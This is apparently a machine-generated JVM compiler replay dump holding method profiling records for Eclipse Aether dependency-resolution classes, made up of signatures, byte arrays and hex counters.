0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 192 4 0 0 254 255 255 255 7 0 4 0 0 0 0 0 data 164 0x40007 0x0 0xb0 0x0 0xb0005 0x0 0x0 0x0 0x0 0x0 0x0 0xe0005 0x0 0x0 0x0 0x0 0x0 0x0 0x170007 0x0 0x430 0x0 0x1f0005 0x0 0x0 0x0 0x0 0x0 0x0 0x270007 0x0 0x3d8 0x0 0x310002 0x0 0x370005 0x0 0x0 0x0 0x0 0x0 0x0 0x400005 0x0 0x0 0x0 0x0 0x0 0x0 0x450007 0x0 0x200 0x0 0x4a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x4f0004 0x0 0x0 0x0 0x0 0x0 0x0 0x560005 0x0 0x0 0x0 0x0 0x0 0x0 0x590007 0x0 0x58 0x0 0x600005 0x0 0x0 0x0 0x0 0x0 0x0 0x660005 0x0 0x0 0x0 0x0 0x0 0x0 0x6f0007 0x0 0x90 0x0 0x760005 0x0 0x0 0x0 0x0 0x0 0x0 0x790005 0x0 0x0 0x0 0x0 0x0 0x0 0x7d0003 0x0 0xfffffffffffffde0 0x820005 0x0 0x0 0x0 0x0 0x0 0x0 0x850007 0x0 0x58 0x0 0x8c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x930005 0x0 0x0 0x0 0x0 0x0 0x0 0x960005 0x0 0x0 0x0 0x0 0x0 0x0 0x9d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x4 0x0 0x0 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate createArtifactDescriptorRequest (Ljava/lang/String;Lorg/eclipse/aether/RequestTrace;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest; 2 3081 orig 320 144 166 201 142 252 127 0 0 48 33 61 20 182 1 0 0 192 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 29 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 177 93 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 11 0 2 0 0 0 0 0 0 0 40 1 0 0 254 255 255 255 2 0 4 0 0 0 0 0 data 49 0x40002 0xbb6 0xc0005 0xbb6 0x0 0x0 0x0 0x0 0x0 0xf0005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x160005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x1d0005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x240005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x4 0x0 0x0 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector getArtifactDescriptorResult (Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;ZLorg/eclipse/aether/graph/Dependency;Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest;)Lorg/eclipse/aether/resolution/ArtifactDescriptorResult; 2 3081 orig 320 144 166 201 142 252 127 0 0 184 77 61 20 182 1 0 0 240 1 0 0 48 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 177 93 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 88 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 23 0x10007 0xbb6 0x48 0x0 0xa0002 0x0 0xd0003 0x0 0x28 0x1f0002 0xbb6 0x0 0x0 0x0 0x0 0x9 0x6 0xffffffffffffffff 0xffffffffffffffff 0xffffffffffffffff 0x0 0xffffffffffffffff 0xffffffffffffffff oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/df/NodeStack top ()Lorg/eclipse/aether/graph/DependencyNode; 2 3081 orig 320 144 166 201 142 252 127 0 0 232 132 153 20 182 1 0 0 144 2 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 177 93 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 17 0 2 0 0 0 0 0 0 0 16 1 0 0 254 255 255 255 5 0 4 0 0 0 0 0 data 43 0x40005 0x0 0x0 0x1b61780ead0 0xbb6 0x0 0x0 0x70007 0xbb6 0x30 0x0 0x100002 0x0 0x1c0005 0x0 0x0 0x1b61780ead0 0xbb6 0x0 0x0 0x210005 0x0 0x0 0x1b61780ead0 0xbb6 0x0 0x0 0x240004 0x0 0x0 0x1b61780ee40 0xbb6 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 4 3 java/util/ArrayList 16 java/util/ArrayList 23 java/util/ArrayList 30 org/eclipse/aether/graph/DefaultDependencyNode methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DefaultDependencyCycle find (Ljava/util/List;Lorg/eclipse/aether/artifact/Artifact;)I 2 9549 orig 320 144 166 201 142 252 127 0 0 216 2 154 20 182 1 0 0 88 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 243 0 0 0 177 93 0 0 209 34 1 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 18 0 2 0 0 0 0 0 0 0 208 4 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 164 0x10005 0x0 0x0 0x1b61780ead0 0xbb6 0x0 0x0 0xa0007 0xbb6 0x498 0x245a 0xf0005 0x0 0x0 0x1b61780ead0 0x245a 0x0 0x0 0x140004 0x0 0x0 0x1b61780ee40 0x245a 0x0 0x0 0x190005 0x0 0x0 0x1b61780ee40 0x245a 0x0 0x0 0x220007 0x245a 0x38 0x0 0x250003 0x0 0x3b0 0x2a0005 0x0 0x0 0x1b61780ece0 0x245a 0x0 0x0 0x300005 0x0 0x0 0x1b61780ece0 0x245a 0x0 0x0 0x350005 0x245a 0x0 0x0 0x0 0x0 0x0 0x380007 0x0 0x38 0x245a 0x3b0003 0x245a 0x2b8 0x400005 0x0 0x0 0x0 0x0 0x0 0x0 0x460005 0x0 0x0 0x0 0x0 0x0 0x0 0x4b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x4e0007 0x0 0x38 0x0 0x510003 0x0 0x1d8 0x560005 0x0 0x0 0x0 0x0 0x0 0x0 0x5c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x610005 0x0 0x0 0x0 0x0 0x0 0x0 0x640007 0x0 0x38 0x0 0x670003 0x0 0xf8 0x6c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x720005 0x0 0x0 0x0 0x0 0x0 0x0 0x770005 0x0 0x0 0x0 0x0 0x0 0x0 0x7a0007 0x0 0x38 0x0 0x7d0003 0x0 0x18 0x850003 0x245a 0xfffffffffffffb80 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xffffffffffffffff 0xffffffffffffffff oops 6 3 java/util/ArrayList 14 java/util/ArrayList 21 org/eclipse/aether/graph/DefaultDependencyNode 28 org/eclipse/aether/graph/DefaultDependencyNode 42 org/eclipse/aether/artifact/DefaultArtifact 49 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DataPool intern (Lorg/eclipse/aether/artifact/Artifact;)Lorg/eclipse/aether/artifact/Artifact; 2 3081 orig 320 144 166 201 142 252 127 0 0 24 19 105 20 182 1 0 0 248 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 177 93 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 112 0 0 0 254 255 255 255 5 0 6 0 0 0 0 0 data 24 0x60005 0x0 0x0 0x1b61cdc4b70 0xbb6 0x0 0x0 0xb0004 0x0 0x0 0x1b61780ece0 0xbb6 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0xffffffffffffffff oops 2 3 org/eclipse/aether/internal/impl/collect/DataPool$WeakInternPool 10 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DataPool intern (Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/graph/Dependency; 2 3081 orig 320 144 166 201 142 252 127 0 0 216 19 105 20 182 1 0 0 248 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 177 93 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 112 0 0 0 254 255 255 255 5 0 6 0 0 0 0 0 data 24 0x60005 0x0 0x0 0x1b61cdc4b70 0xbb6 0x0 0x0 0xb0004 0x0 0x0 0x1b61780d5d0 0xbb6 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0xffffffffffffffff oops 2 3 org/eclipse/aether/internal/impl/collect/DataPool$WeakInternPool 10 org/eclipse/aether/graph/Dependency methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeResult getRepository (Lorg/eclipse/aether/version/Version;)Lorg/eclipse/aether/repository/ArtifactRepository; 2 4667 orig 320 144 166 201 142 252 127 0 0 16 154 103 20 182 1 0 0 248 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 143 0 0 0 97 141 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 112 0 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 24 0x50005 0x0 0x0 0x1b613a647f0 0x11ac 0x0 0x0 0xa0104 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0xffffffffffffffff oops 1 3 java/util/Collections$EmptyMap methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate getRemoteRepositories (Lorg/eclipse/aether/repository/ArtifactRepository;Ljava/util/List;)Ljava/util/List; 2 3081 orig 320 144 166 201 142 252 127 0 0 8 37 61 20 182 1 0 0 88 2 0 0 144 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 83 0 0 0 177 93 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 7 0 2 0 0 0 0 0 0 0 208 0 0 0 254 255 255 255 4 1 1 0 0 0 0 0 data 36 0x10104 0x0 0x0 0x0 0x0 0x0 0x0 0x40007 0xbb6 0x68 0x0 0x80004 0x0 0x0 0x0 0x0 0x0 0x0 0xb0002 0x0 0x100007 0xbb6 0x30 0x0 0x130002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate createDependencyNode (Ljava/util/List;Lorg/eclipse/aether/internal/impl/collect/PremanagedDependency;Lorg/eclipse/aether/resolution/VersionRangeResult;Lorg/eclipse/aether/version/Version;Lorg/eclipse/aether/graph/Dependency;Ljava/util/Collection;Ljava/util/List;Ljava/lang/String;)Lorg/eclipse/aether/graph/DefaultDependencyNode; 2 3081 orig 320 144 166 201 142 252 127 0 0 248 30 61 20 182 1 0 0 136 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 177 93 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 28 0 2 0 0 0 0 0 0 0 208 1 0 0 254 255 255 255 2 0 6 0 0 0 0 0 data 74 0x60002 0xbb6 0xe0005 0x0 0x0 0x1b61780e970 0xbb6 0x0 0x0 0x140005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x1a0005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x1d0005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x230005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x2a0005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x310005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x380005 0xbb6 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 oops 1 5 org/eclipse/aether/internal/impl/collect/PremanagedDependency methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector doRecurse (Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;Lorg/eclipse/aether/RequestTrace;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;Ljava/util/List;Lorg/eclipse/aether/collection/DependencySelector;Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/collection/DependencyTraverser;Lorg/eclipse/aether/collection/VersionFilter;Lorg/eclipse/aether/graph/Dependency;Lorg/eclipse/aether/resolution/ArtifactDescriptorResult;Lorg/eclipse/aether/graph/DefaultDependencyNode;)V 2 2817 orig 320 144 166 201 142 252 127 0 0 104 76 61 20 182 1 0 0 240 6 0 0 200 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 74 0 0 0 185 85 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 34 0 2 0 0 0 0 0 0 0 24 5 0 0 254 255 255 255 5 0 12 0 0 0 0 0 data 183 0xc0005 0xab7 0x0 0x0 0x0 0x0 0x0 0xf0005 0xab7 0x0 0x0 0x0 0x0 0x0 0x140007 0x0 0x70 0xab7 0x1b0005 0x0 0x0 0x1b61780e8c0 0xab7 0x0 0x0 0x200003 0xab7 0x18 0x280007 0x0 0x70 0xab7 0x2f0005 0x0 0x0 0x1b612d61160 0xab7 0x0 0x0 0x340003 0xab7 0x18 0x3c0007 0x0 0x70 0xab7 0x430005 0x0 0x0 0x1b61780ea20 0xab7 0x0 0x0 0x480003 0xab7 0x18 0x500007 0xab7 0x70 0x0 0x570005 0x0 0x0 0x0 0x0 0x0 0x0 0x5c0003 0x0 0x18 0x660007 0xab7 0x38 0x0 0x6b0003 0x0 0x88 0x7a0005 0xab7 0x0 0x0 0x0 0x0 0x0 0x7e0005 0x0 0x0 0x1b619f18e70 0xab7 0x0 0x0 0x8b0005 0xab7 0x0 0x0 0x0 0x0 0x0 0x980005 0xab7 0x0 0x0 0x0 0x0 0x0 0xa30005 0xab7 0x0 0x0 0x0 0x0 0x0 0xaa0007 0x496 0x160 0x621 0xb50005 0x621 0x0 0x0 0x0 0x0 0x0 0xb80005 0x621 0x0 0x0 0x0 0x0 0x0 0xc10005 0x621 0x0 0x0 0x0 0x0 0x0 0xca0005 0x621 0x0 0x0 0x0 0x0 0x0 0xd70002 0x621 0xde0005 0x621 0x0 0x0 0x0 0x0 0x0 0xe10003 0x621 0x50 0xe80005 0x496 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0xc 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 oops 4 21 org/eclipse/aether/util/graph/selector/AndDependencySelector 35 org/eclipse/aether/util/graph/manager/ClassicDependencyManager 49 org/eclipse/aether/util/graph/traverser/FatArtifactTraverser 87 org/eclipse/aether/internal/impl/DefaultRemoteRepositoryManager methods 0\nciMethod org/eclipse/aether/util/graph/traverser/FatArtifactTraverser traverseDependency (Lorg/eclipse/aether/graph/Dependency;)Z 673 1 2204 0 0\nciMethod org/eclipse/aether/util/graph/manager/ClassicDependencyManager manageDependency (Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/collection/DependencyManagement; 1697 1 2980 0 -1\nciMethod org/eclipse/aether/util/graph/manager/ClassicDependencyManager getKey (Lorg/eclipse/aether/artifact/Artifact;)Ljava/lang/Object; 2073 1 6776 0 -1\nciMethod org/eclipse/aether/util/graph/selector/AndDependencySelector selectDependency (Lorg/eclipse/aether/graph/Dependency;)Z 2113 1969 5416 0 2848\nciMethodData java/util/ArrayList <init> (Ljava/util/Collection;)V 2 5399 orig 320 144 166 201 142 252 127 0 0 184 52 162 8 182 1 0 0 112 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 177 160 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 8 0 2 0 0 0 0 0 0 0 232 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 39 0x10002 0x1416 0x60005 0x20 0x0 0x1b61780ead0 0xe30 0x1b619257120 0x5c6 0x180007 0x7ce 0xa0 0xc48 0x1f0005 0xc48 0x0 0x0 0x0 0x0 0x0 0x240007 0xc48 0x48 0x0 0x320002 0x0 0x380003 0x0 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xe 0xffffffffffffffff oops 2 5 java/util/ArrayList 7 java/util/LinkedHashMap$LinkedValues methods 0\nciMethodData java/lang/StringUTF16 compareToCI ([B[B)I 1 106 orig 320 144 166 201 142 252 127 0 0 96 204 149 8 182 1 0 0 176 2 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 9 0 0 0 81 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 1 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 47 0x10002 0x1 0x60002 0x1 0xc0002 0x1 0x180007 0x0 0xf8 0x6b 0x1e0002 0x6b 0x260002 0x6b 0x2f0007 0x6a 0xa0 0x1 0x340002 0x1 0x3b0002 0x1 0x440007 0x0 0x60 0x1 0x490002 0x1 0x500002 0x1 0x590007 0x0 0x20 0x1 0x650003 0x6a 0xffffffffffffff20 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData java/lang/StringLatin1 compareToCI_UTF16 ([B[B)I 1 1538 orig 320 144 166 201 142 252 127 0 0 72 136 144 8 182 1 0 0 176 2 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 